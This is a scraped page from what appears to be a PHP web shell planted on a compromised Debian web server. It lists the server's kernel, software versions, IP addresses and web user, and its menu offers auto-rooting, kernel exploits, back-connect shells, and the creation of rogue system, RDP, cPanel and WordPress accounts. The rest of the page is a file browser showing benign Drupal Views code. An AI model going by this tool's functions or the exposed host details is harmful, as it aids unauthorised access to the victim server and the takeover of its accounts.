Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.15.144.162
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
handlers /
[ HOME SHELL ]
Name
Size
Permission
Action
views_handler_area.inc
3.27
KB
-rw-r--r--
views_handler_area_messages.in...
645
B
-rw-r--r--
views_handler_area_result.inc
3
KB
-rw-r--r--
views_handler_area_text.inc
3.69
KB
-rw-r--r--
views_handler_area_text_custom...
1.28
KB
-rw-r--r--
views_handler_area_view.inc
2.5
KB
-rw-r--r--
views_handler_argument.inc
41.86
KB
-rw-r--r--
views_handler_argument_date.in...
3.25
KB
-rw-r--r--
views_handler_argument_formula...
1.55
KB
-rw-r--r--
views_handler_argument_group_b...
716
B
-rw-r--r--
views_handler_argument_many_to...
5.42
KB
-rw-r--r--
views_handler_argument_null.in...
1.78
KB
-rw-r--r--
views_handler_argument_numeric...
3.4
KB
-rw-r--r--
views_handler_argument_string....
8.53
KB
-rw-r--r--
views_handler_field.inc
56.17
KB
-rw-r--r--
views_handler_field_boolean.in...
3.45
KB
-rw-r--r--
views_handler_field_contextual...
3.19
KB
-rw-r--r--
views_handler_field_counter.in...
2.03
KB
-rw-r--r--
views_handler_field_custom.inc
1.52
KB
-rw-r--r--
views_handler_field_date.inc
7.55
KB
-rw-r--r--
views_handler_field_entity.inc
3.09
KB
-rw-r--r--
views_handler_field_machine_na...
2.05
KB
-rw-r--r--
views_handler_field_markup.inc
1.44
KB
-rw-r--r--
views_handler_field_math.inc
2.88
KB
-rw-r--r--
views_handler_field_numeric.in...
5.06
KB
-rw-r--r--
views_handler_field_prerender_...
4.57
KB
-rw-r--r--
views_handler_field_serialized...
1.96
KB
-rw-r--r--
views_handler_field_time_inter...
943
B
-rw-r--r--
views_handler_field_url.inc
1.2
KB
-rw-r--r--
views_handler_filter.inc
50.22
KB
-rw-r--r--
views_handler_filter_boolean_o...
6.04
KB
-rw-r--r--
views_handler_filter_boolean_o...
910
B
-rw-r--r--
views_handler_filter_combine.i...
5.55
KB
-rw-r--r--
views_handler_filter_date.inc
6.4
KB
-rw-r--r--
views_handler_filter_entity_bu...
3.58
KB
-rw-r--r--
views_handler_filter_equality....
978
B
-rw-r--r--
views_handler_filter_fields_co...
3.55
KB
-rw-r--r--
views_handler_filter_group_by_...
1.77
KB
-rw-r--r--
views_handler_filter_in_operat...
13.4
KB
-rw-r--r--
views_handler_filter_many_to_o...
3.24
KB
-rw-r--r--
views_handler_filter_numeric.i...
9.28
KB
-rw-r--r--
views_handler_filter_string.in...
9.48
KB
-rw-r--r--
views_handler_relationship.inc
5.94
KB
-rw-r--r--
views_handler_relationship_gro...
15.71
KB
-rw-r--r--
views_handler_sort.inc
6.73
KB
-rw-r--r--
views_handler_sort_date.inc
2.27
KB
-rw-r--r--
views_handler_sort_group_by_nu...
886
B
-rw-r--r--
views_handler_sort_menu_hierar...
1.94
KB
-rw-r--r--
views_handler_sort_random.inc
402
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views_handler_field_date.inc
<?php /** * @file * Definition of views_handler_field_date. */ /** * A handler to provide proper displays for dates. * * @ingroup views_field_handlers */ class views_handler_field_date extends views_handler_field { function option_definition() { $options = parent::option_definition(); $options['date_format'] = array('default' => 'small'); $options['custom_date_format'] = array('default' => ''); $options['second_date_format_custom'] = array('default' => ''); $options['second_date_format'] = array('default' => 'small'); $options['timezone'] = array('default' => ''); return $options; } function options_form(&$form, &$form_state) { $date_formats = array(); $date_types = system_get_date_types(); foreach ($date_types as $key => $value) { $date_formats[$value['type']] = t('@date_format format', array('@date_format' => $value['title'])) . ': ' . format_date(REQUEST_TIME, $value['type']); } $form['date_format'] = array( '#type' => 'select', '#title' => t('Date format'), '#options' => $date_formats + array( 'custom' => t('Custom'), 'raw time ago' => t('Time ago'), 'time ago' => t('Time ago (with "ago" appended)'), 'today time ago' => t('Time ago (with "ago" appended) for today\'s date, but not for other dates'), 'raw time hence' => t('Time hence'), 'time hence' => t('Time hence (with "hence" appended)'), 'raw time span' => t('Time span (future dates have "-" prepended)'), 'inverse time span' => t('Time span (past dates have "-" prepended)'), 'time span' => t('Time span (with "ago/hence" appended)'), ), '#default_value' => isset($this->options['date_format']) ? $this->options['date_format'] : 'small', ); $form['custom_date_format'] = array( '#type' => 'textfield', '#title' => t('Custom date format'), '#description' => t('If "Custom", see the <a href="@url" target="_blank">PHP manual</a> for date formats. Otherwise, enter the number of different time units to display, which defaults to 2.', array('@url' => 'http://php.net/manual/function.date.php')), '#default_value' => isset($this->options['custom_date_format']) ? $this->options['custom_date_format'] : '', '#dependency' => array('edit-options-date-format' => array('custom', 'raw time ago', 'time ago', 'today time ago', 'raw time hence', 'time hence', 'raw time span', 'time span', 'raw time span', 'inverse time span', 'time span')), ); $form['second_date_format'] = array( '#type' => 'select', '#title' => t('Second date format'), '#options' => $date_formats + array( 'custom' => t('Custom'), ), '#description' => t('The date format which will be used for rendering dates other than today.'), '#default_value' => isset($this->options['second_date_format']) ? $this->options['second_date_format'] : 'small', '#dependency' => array('edit-options-date-format' => array('today time ago')), ); $form['second_date_format_custom'] = array( '#type' => 'textfield', '#title' => t('Custom date format of second date'), '#description' => t('If "Custom" is selected in "Second date format", see the <a href="@url" target="_blank">PHP manual</a> for date formats. Otherwise, enter the number of different time units to display, which defaults to 2.', array('@url' => 'http://php.net/manual/function.date.php')), '#default_value' => isset($this->options['second_date_format_custom']) ? $this->options['second_date_format_custom'] : '', // We have to use states instead of ctools dependency because dependency // doesn't handle multiple conditions. '#states' => array( 'visible' => array( '#edit-options-date-format' => array('value' => 'today time ago'), '#edit-options-second-date-format' => array('value' => 'custom'), ), ), // We have to use ctools dependency too because states doesn't add the // correct left margin to the element's wrapper. '#dependency' => array( // This condition is handled by form API's states. // 'edit-options-date-format' => array('today time ago'), 'edit-options-second-date-format' => array('custom'), ), ); $form['timezone'] = array( '#type' => 'select', '#title' => t('Timezone'), '#description' => t('Timezone to be used for date output.'), '#options' => array('' => t('- Default site/user timezone -')) + system_time_zones(FALSE), '#default_value' => $this->options['timezone'], '#dependency' => array('edit-options-date-format' => array_merge(array('custom'), array_keys($date_formats))), ); parent::options_form($form, $form_state); } function render($values) { $value = $this->get_value($values); $format = $this->options['date_format']; if (in_array($format, array('custom', 'raw time ago', 'time ago', 'today time ago', 'raw time hence', 'time hence', 'raw time span', 'time span', 'raw time span', 'inverse time span', 'time span'))) { $custom_format = $this->options['custom_date_format']; } if ($value) { $timezone = !empty($this->options['timezone']) ? $this->options['timezone'] : NULL; $time_diff = REQUEST_TIME - $value; // will be positive for a datetime in the past (ago), and negative for a datetime in the future (hence) switch ($format) { case 'raw time ago': return format_interval($time_diff, is_numeric($custom_format) ? $custom_format : 2); case 'time ago': return t('%time ago', array('%time' => format_interval($time_diff, is_numeric($custom_format) ? $custom_format : 2))); case 'today time ago': $second_format = $this->options['second_date_format']; $second_custom_format = $this->options['second_date_format_custom']; if (format_date(REQUEST_TIME, 'custom', 'Y-m-d', $timezone) == format_date($value, 'custom', 'Y-m-d', $timezone)) { return t('%time ago', array('%time' => format_interval($time_diff, is_numeric($custom_format) ? $custom_format : 2))); } elseif ($second_format == 'custom') { if ($second_custom_format == 'r') { return format_date($value, $second_format, $second_custom_format, $timezone, 'en'); } return format_date($value, $second_format, $second_custom_format, $timezone); } else { return format_date($value, $this->options['second_date_format'], '', $timezone); } case 'raw time hence': return format_interval(-$time_diff, is_numeric($custom_format) ? $custom_format : 2); case 'time hence': return t('%time hence', array('%time' => format_interval(-$time_diff, is_numeric($custom_format) ? $custom_format : 2))); case 'raw time span': return ($time_diff < 0 ? '-' : '') . format_interval(abs($time_diff), is_numeric($custom_format) ? $custom_format : 2); case 'inverse time span': return ($time_diff > 0 ? '-' : '') . format_interval(abs($time_diff), is_numeric($custom_format) ? $custom_format : 2); case 'time span': return t(($time_diff < 0 ? '%time hence' : '%time ago'), array('%time' => format_interval(abs($time_diff), is_numeric($custom_format) ? $custom_format : 2))); case 'custom': if ($custom_format == 'r') { return format_date($value, $format, $custom_format, $timezone, 'en'); } return format_date($value, $format, $custom_format, $timezone); default: return format_date($value, $format, '', $timezone); } } } }
Close